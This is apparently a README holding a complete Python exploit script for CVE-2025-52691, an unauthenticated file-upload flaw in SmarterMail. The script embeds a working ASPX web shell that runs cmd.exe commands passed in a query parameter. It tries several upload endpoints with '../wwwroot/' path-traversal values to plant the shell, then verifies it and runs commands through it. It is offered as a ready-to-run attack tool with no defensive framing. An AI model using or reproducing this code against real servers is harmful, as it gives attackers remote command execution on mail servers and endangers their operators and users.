README.md
Rendering markdown...
#!/usr/bin/env python3
import sys
import argparse
import requests
import uuid
import base64
from typing import Optional, Tuple
from dataclasses import dataclass
from enum import Enum
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
class ExploitResult(Enum):
SUCCESS = "success"
SHELL_UPLOADED = "shell_uploaded"
FAILED = "failed"
ERROR = "error"
@dataclass
class TargetConfig:
base_url: str
timeout: int = 30
verify_ssl: bool = False
class SmarterMailExploit:
UPLOAD_ENDPOINTS = [
"/api/upload",
"/api/v1/upload",
"/Interface/Frmx/UploadFile.aspx",
"/MRS/Upload.ashx",
"/Services/Upload.ashx"
]
ASPX_WEBSHELL = """<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
string c = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(c)) {
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + c;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
p.WaitForExit();
}
}
</script>"""
def __init__(self, config: TargetConfig):
self.config = config
self.session = requests.Session()
self.shell_name = None
self.shell_path = None
def _request(self, method: str, endpoint: str, **kwargs) -> Optional[requests.Response]:
url = f"{self.config.base_url}{endpoint}"
kwargs.setdefault("timeout", self.config.timeout)
kwargs.setdefault("verify", self.config.verify_ssl)
try:
return self.session.request(method, url, **kwargs)
except requests.exceptions.RequestException:
return None
def check_alive(self) -> bool:
response = self._request("GET", "/")
return response is not None
def generate_shell_name(self) -> str:
return f"{uuid.uuid4().hex[:8]}.aspx"
def upload_shell_multipart(self, endpoint: str, shell_content: str, filename: str) -> bool:
files = {
"file": (filename, shell_content, "application/octet-stream")
}
data = {
"path": "../wwwroot/",
"folder": "../wwwroot/",
"directory": "../wwwroot/"
}
response = self._request("POST", endpoint, files=files, data=data)
if response and response.status_code in [200, 201, 204]:
return True
return False
def upload_shell_raw(self, endpoint: str, shell_content: str, filename: str) -> bool:
headers = {
"Content-Type": "application/octet-stream",
"X-Filename": filename,
"X-Path": "../wwwroot/"
}
response = self._request("POST", endpoint, data=shell_content.encode(), headers=headers)
if response and response.status_code in [200, 201, 204]:
return True
return False
def upload_shell_json(self, endpoint: str, shell_content: str, filename: str) -> bool:
payload = {
"filename": filename,
"content": base64.b64encode(shell_content.encode()).decode(),
"path": "../wwwroot/",
"overwrite": True
}
headers = {"Content-Type": "application/json"}
response = self._request("POST", endpoint, json=payload, headers=headers)
if response and response.status_code in [200, 201, 204]:
return True
return False
def verify_shell(self, shell_name: str) -> Tuple[bool, str]:
paths = [
f"/{shell_name}",
f"/wwwroot/{shell_name}",
f"/Interface/{shell_name}",
f"/MRS/{shell_name}"
]
for path in paths:
response = self._request("GET", f"{path}?cmd=whoami")
if response and response.status_code == 200:
if "pre" in response.text.lower() or "\\" in response.text:
return True, path
return False, ""
def execute_command(self, command: str) -> Optional[str]:
if not self.shell_path:
return None
response = self._request("GET", f"{self.shell_path}?cmd={command}")
if response and response.status_code == 200:
import re
match = re.search(r"<pre>(.*?)</pre>", response.text, re.DOTALL)
if match:
return match.group(1).strip()
return response.text
return None
def exploit(self) -> ExploitResult:
if not self.check_alive():
return ExploitResult.ERROR
self.shell_name = self.generate_shell_name()
for endpoint in self.UPLOAD_ENDPOINTS:
upload_methods = [
self.upload_shell_multipart,
self.upload_shell_raw,
self.upload_shell_json
]
for upload_method in upload_methods:
try:
if upload_method(endpoint, self.ASPX_WEBSHELL, self.shell_name):
success, path = self.verify_shell(self.shell_name)
if success:
self.shell_path = path
return ExploitResult.SHELL_UPLOADED
except Exception:
continue
success, path = self.verify_shell(self.shell_name)
if success:
self.shell_path = path
return ExploitResult.SHELL_UPLOADED
return ExploitResult.FAILED
def parse_arguments() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="CVE-2025-52691: SmarterMail Arbitrary File Upload RCE",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("target", help="Target URL (e.g., http://mail.example.com)")
parser.add_argument("-c", "--command", help="Command to execute after upload")
parser.add_argument("-t", "--timeout", type=int, default=30, help="Request timeout")
parser.add_argument("--check-only", action="store_true", help="Only check if target is alive")
return parser.parse_args()
def main() -> int:
args = parse_arguments()
base_url = args.target.rstrip("/")
if not base_url.startswith("http"):
base_url = f"https://{base_url}"
config = TargetConfig(base_url=base_url, timeout=args.timeout)
exploit = SmarterMailExploit(config)
print(f"\n[*] Target: {config.base_url}")
print(f"[*] CVE-2025-52691: SmarterMail Arbitrary File Upload RCE\n")
if not exploit.check_alive():
print("[-] Target is not reachable")
return 1
print("[+] Target is alive")
if args.check_only:
print("[*] Check only mode - target appears to be SmarterMail")
return 0
print("[*] Attempting unauthenticated file upload...")
print(f"[*] Shell name: {exploit.shell_name or exploit.generate_shell_name()}")
result = exploit.exploit()
if result == ExploitResult.SHELL_UPLOADED:
print(f"\n[!] WEBSHELL UPLOADED SUCCESSFULLY")
print(f"[+] Shell path: {exploit.shell_path}")
print(f"[+] Access: {config.base_url}{exploit.shell_path}?cmd=<command>")
if args.command:
print(f"\n[*] Executing: {args.command}")
output = exploit.execute_command(args.command)
if output:
print(f"[+] Output:\n{output}")
return 0
else:
print("[-] Exploit failed - target may be patched or different version")
return 1
if __name__ == "__main__":
sys.exit(main())